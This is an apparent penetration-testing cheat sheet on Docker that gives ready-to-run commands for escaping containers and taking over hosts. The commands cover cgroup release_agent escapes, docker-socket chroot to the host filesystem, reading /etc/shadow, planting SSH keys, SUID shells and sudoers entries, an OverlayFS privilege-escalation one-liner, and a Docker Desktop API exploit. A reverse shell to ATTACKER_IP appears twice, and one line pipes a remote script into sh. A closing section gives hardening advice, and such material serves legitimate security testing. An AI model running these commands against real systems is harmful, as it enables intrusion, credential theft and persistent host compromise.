Docker
A comprehensive guide for penetration testing Docker containers and environments.
Table of Contents¶
- Container Detection
- Docker Enumeration
- Docker API Pentesting
- Container Escape Techniques
- Privilege Escalation
- Common Vulnerabilities
- Pentesting Tools
- Security Best Practices
Container Detection¶
Check if You're Inside a Container¶
# Check cgroup for docker
cat /proc/1/cgroup 2>/dev/null | grep -i docker
# Check for .dockerenv file
ls -la /.dockerenv
# Check hostname (containers often have hex hostnames)
hostname
# Check /etc/hosts
cat /etc/hosts
# Check for container runtime
cat /proc/self/cgroup
Container Runtime Detection Tool¶
# Using amicontained
docker run --rm -it r.j3ss.co/amicontained
# Manually check container runtime
if [ -f /.dockerenv ]; then
echo "Running in Docker"
fi
Docker Enumeration¶
Basic Docker Information¶
# Docker version and info
docker version
docker info
docker system info
# List all containers
docker ps -a
docker container ls -a
# List images
docker images
docker image ls
# List volumes
docker volume ls
# List networks
docker network ls
# List secrets
docker secret ls
Container Inspection¶
# Inspect container configuration
docker inspect <container_id>
docker inspect --format='{{json .Config}}' <container_id>
docker inspect --format='{{json .HostConfig}}' <container_id>
# Get container port mappings
docker port <container_id>
# View image history
docker image history <image_name>
# Check for mounted volumes
df -h
mount | grep -E "^/dev"
cat /proc/mounts
Environment Enumeration¶
# Check environment variables
env
env | grep -i docker
# Check capabilities
capsh --print
cat /proc/self/status | grep Cap
# Check if privileged
# CapEff: 0000003fffffffff = privileged container
cat /proc/self/status | grep -i cap
# User information
id
whoami
cat /etc/passwd
cat /etc/shadow 2>/dev/null
Network Enumeration¶
# Network configuration
ip addr
ifconfig
cat /etc/hosts
cat /etc/resolv.conf
# Network connections
netstat -punta
ss -ltu
# Scan internal network
nmap 172.17.0.0/24
for i in {1..65535}; do (echo > /dev/tcp/172.17.0.1/$i) >/dev/null 2>&1 && echo $i is open; done
Look for Sensitive Files¶
# Bash history
cat /root/.bash_history
cat /home/*/.bash_history
# Common sensitive directories
ls -la /etc
ls -la /mnt
ls -la /opt
ls -la /srv
ls -la /var/www
ls -la /tmp
ls -la /var/tmp
ls -la /dev/shm
# SSH keys
find / -name "*.pem" 2>/dev/null
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
# Configuration files
find / -name "*.conf" 2>/dev/null
find / -name "*.config" 2>/dev/null
Docker API Pentesting¶
Default Docker Ports¶
- 2375 - Unencrypted Docker daemon socket (HTTP)
- 2376 - Encrypted Docker daemon socket (HTTPS with TLS)
- 2377 - Docker Swarm mode (cluster management)
- 7946 - Docker Swarm node communication
- 4789 - Overlay network traffic
Docker Socket Enumeration¶
# Check for Docker socket
ls -la /var/run/docker.sock
ls -la /run/docker.sock
# Test socket permissions
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
curl --unix-socket /var/run/docker.sock http://127.0.0.1/images/json
curl --unix-socket /var/run/docker.sock http://127.0.0.1/info
Remote Docker API¶
# Test remote connection (unencrypted)
docker -H tcp://192.168.1.100:2375 version
docker -H tcp://192.168.1.100:2375 ps
# List containers via API
curl http://192.168.1.100:2375/containers/json
curl http://192.168.1.100:2375/images/json
# Get container details
curl http://192.168.1.100:2375/containers/<container_id>/json
Exploiting Docker Socket¶
# Create privileged container with host filesystem mounted
docker -H unix:///var/run/docker.sock run -it --rm --privileged \
-v /:/host alpine chroot /host bash
# Alternative method
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine \
chroot /host /bin/sh -c 'cat /etc/shadow'
# Execute commands on host
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it \
alpine chroot /mnt sh
Container Escape Techniques¶
1. Privileged Container Escape¶
# Check if container is privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff indicates privileged
# Method 1: Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
cd /mnt/host
# Find partitions first if needed
fdisk -l
mount /dev/vda1 /mnt/host
# Method 2: Access host via release_agent (cgroup escape)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Create malicious script
cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output
EOF
chmod +x /cmd
# Trigger execution
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
2. Docker Socket Escape¶
# If socket is mounted in container
ls -la /var/run/docker.sock
# Create new privileged container
docker -H unix:///var/run/docker.sock run -it --rm --privileged \
--net=host -v /:/host alpine chroot /host bash
# Get shell on host
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine \
chroot /host /bin/bash
3. Capability-Based Escape¶
CAP_SYS_ADMIN Escape¶
# Check for CAP_SYS_ADMIN
capsh --print | grep sys_admin
# Exploit using release_agent
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
# Find container path on host
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Create payload
echo '#!/bin/sh' > /cmd
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /cmd
chmod a+x /cmd
# Trigger
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
CAP_SYS_MODULE Escape¶
# Load malicious kernel module
# First, create the module on attacker machine
# Then load it in container
insmod /path/to/malicious.ko
CAP_SYS_PTRACE Escape¶
CAP_DAC_READ_SEARCH Escape¶
4. Writable Host Path Volume¶
# If a host directory is mounted
mount | grep -i "/mnt"
# Check write permissions
touch /mnt/test
ls -la /mnt/
# Add SSH key for persistence
mkdir -p /mnt/root/.ssh
echo "YOUR_SSH_PUBLIC_KEY" >> /mnt/root/.ssh/authorized_keys
chmod 600 /mnt/root/.ssh/authorized_keys
# Create SUID binary
cp /bin/bash /mnt/tmp/rootshell
chmod +s /mnt/tmp/rootshell
5. Container Image Exploitation¶
# Pull and run vulnerable image
docker pull vulnerable/image
docker run -v /:/mnt --rm -it vulnerable/image chroot /mnt sh
# Build malicious Dockerfile
echo -e "FROM ubuntu:14.04\nENV WORKDIR /stuff\nRUN mkdir -p /stuff\nVOLUME [ /stuff ]\nWORKDIR /stuff" > Dockerfile
docker build -t my-docker-image .
docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'
./sh -c id
Privilege Escalation¶
Docker Group Membership¶
# Check if user is in docker group
id
groups
# Exploit docker group membership
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Add user to sudoers
docker run -v /etc:/mnt --rm -it alpine sh -c "echo 'username ALL=(ALL) NOPASSWD:ALL' >> /mnt/sudoers"
Abusing Mounted Volumes¶
# Check mounted volumes
docker inspect <container_id> | grep -A 20 Mounts
# Mount host root
docker run -v /:/hostfs --rm -it alpine
# Access sensitive files
docker run -v /etc:/mnt --rm -it alpine cat /mnt/shadow
Exploiting Exposed Docker Socket¶
# From host with docker socket access
docker run -v /var/run/docker.sock:/var/run/docker.sock \
-v /:/hostfs --rm -it alpine chroot /hostfs bash
Common Vulnerabilities¶
CVE-2019-5736 (runC Container Escape)¶
# Affects Docker versions < 19.03.15 and < 20.10.3
# Exploit through docker exec
# Overwrites /bin/sh on host
CVE-2019-14271 (Docker Copy Privilege Escalation)¶
CVE-2020-15257 (containerd)¶
CVE-2021-21285 (Docker Daemon Crash)¶
CVE-2022-23774 (Arbitrary File Write)¶
CVE-2023-2640 / CVE-2023-32629 (OverlayFS)¶
# Ubuntu privilege escalation via OverlayFS
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("bash")'
CVE-2024-21626 (Leaky Vessels - runC)¶
CVE-2025-9074 (Docker Desktop API Exposure)¶
# Docker Desktop exposes API at http://192.168.65.7:2375/
# Allows container to access Docker Engine API
curl -X POST http://192.168.65.7:2375/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","HostConfig":{"Privileged":true,"Binds":["/:/host"]}}'
Pentesting Tools¶
Automated Enumeration Tools¶
DEEPCE (Docker Enumeration, Escalation of Privileges and Container Escapes)¶
# Download and run
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
chmod +x deepce.sh
./deepce.sh
# Run without touching disk
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
# Specific exploits
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
./deepce.sh --no-enumeration --exploit SOCK --shadow
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
amicontained¶
# Check container runtime and capabilities
docker run --rm -it r.j3ss.co/amicontained
# Download binary
wget https://github.com/genuinetools/amicontained/releases/download/v0.4.9/amicontained-linux-amd64
chmod +x amicontained-linux-amd64
./amicontained-linux-amd64
CDK (Container Duck)¶
# Container security toolkit
wget https://github.com/cdk-team/CDK/releases/latest/download/cdk_linux_amd64
chmod +x cdk_linux_amd64
./cdk_linux_amd64 evaluate
./cdk_linux_amd64 run mount-disk
BOtB (Break out the Box)¶
# Automated breakout detection
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \
-v /:/host brompwnie/botb
Vulnerability Scanners¶
Trivy¶
# Scan image for vulnerabilities
trivy image <image_name>
trivy image --scanners vuln <image_name>
trivy image --severity HIGH,CRITICAL <image_name>
# Generate SBOM
trivy image --format cyclonedx <image_name>
Docker Scout¶
# Scan with Docker Scout
docker scout cves <image_name>
docker scout cves --only-severity critical,high <image_name>
docker scout recommendations <image_name>
Grype¶
# Scan with Grype
grype <image_name>
grype <image_name> --scope all-layers
grype <image_name> -o json
Clair¶
# Run Clair scanner
docker run --rm -v /root/clair_config/:/config \
-p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 <image_name>
Security Auditing Tools¶
Docker Bench Security¶
# Automated security audit
git clone https://github.com/docker/docker-bench-security.git
cd docker-bench-security
sudo sh docker-bench-security.sh
Dockerfile Linting¶
# Hadolint
docker run --rm -i hadolint/hadolint < Dockerfile
# dockerfilelint
npm install -g dockerfilelint
dockerfilelint Dockerfile
Security Best Practices¶
Docker Daemon Security¶
# ❌ Never expose Docker socket
# Don't mount: -v /var/run/docker.sock:/var/run/docker.sock
# ❌ Never expose Docker daemon on network without TLS
# Avoid: dockerd -H tcp://0.0.0.0:2375
# ✅ Use TLS authentication
dockerd --tlsverify \
--tlscacert=ca.pem \
--tlscert=server-cert.pem \
--tlskey=server-key.pem \
-H=0.0.0.0:2376
Container Security¶
# ✅ Run as non-root user
docker run -u 1000:1000 <image>
# Dockerfile example
FROM alpine
RUN groupadd -r appuser && useradd -r -g appuser appuser
USER appuser
# ✅ Drop capabilities
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE <image>
# ✅ Use read-only filesystem
docker run --read-only <image>
# ✅ Set resource limits
docker run --memory="256m" --cpus="1.0" <image>
# ✅ Disable privileged mode
# Never use: docker run --privileged
# ✅ Use security profiles
docker run --security-opt=no-new-privileges <image>
docker run --security-opt apparmor=docker-default <image>
docker run --security-opt seccomp=default.json <image>
Image Security¶
# ✅ Use minimal base images
FROM alpine
FROM scratch
FROM distroless/static
# ✅ Scan images regularly
docker scout cves <image>
trivy image <image>
# ✅ Use content trust
export DOCKER_CONTENT_TRUST=1
docker pull <image>
# ✅ Multi-stage builds
FROM golang:1.20 AS builder
WORKDIR /app
COPY . .
RUN go build -o myapp
FROM alpine:latest
COPY --from=builder /app/myapp /myapp
Network Security¶
# ✅ Use custom networks (not default bridge)
docker network create --driver bridge isolated_network
docker run --network=isolated_network <image>
# ✅ Disable inter-container communication
docker network create --driver bridge --internal private_network
Secret Management¶
# ✅ Use Docker secrets (Swarm mode)
echo "my_secret" | docker secret create db_password -
docker service create --secret db_password <image>
# ✅ Use environment variables carefully
# Avoid: docker run -e PASSWORD=secret <image>
# Use: docker run --env-file .env <image>
# ✅ Mount secrets as files
docker run -v /path/to/secret:/run/secrets/secret:ro <image>
Monitoring and Logging¶
# ✅ Enable logging
docker run --log-driver=json-file --log-opt max-size=10m <image>
# ✅ Monitor container activity
docker stats
docker events
# ✅ Use runtime security tools
# - Falco
# - Tracee
# - Tetragon
Quick Reference Commands¶
Detection & Enumeration¶
# Am I in a container?
cat /proc/1/cgroup | grep docker
# What can I do?
capsh --print
# What's mounted?
mount | grep -v "^proc\|^tmpfs\|^cgroup"
# Docker socket accessible?
ls -la /var/run/docker.sock
# Docker command available?
which docker
docker ps
Exploitation¶
# Privileged container escape
mkdir /tmp/x && mount -t cgroup -o memory cgroup /tmp/x
mkdir /tmp/x/y && echo 1 > /tmp/x/y/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/x/release_agent
echo '#!/bin/sh' > /cmd
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/x/y/cgroup.procs"
# Docker socket escape
docker -H unix:///var/run/docker.sock run -v /:/host --rm -it alpine chroot /host bash
# Docker group privesc
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Additional Resources¶
- OWASP Docker Security Cheat Sheet
- HackTricks - Docker Security
- Container Security Site
- CIS Docker Benchmark
- Docker Documentation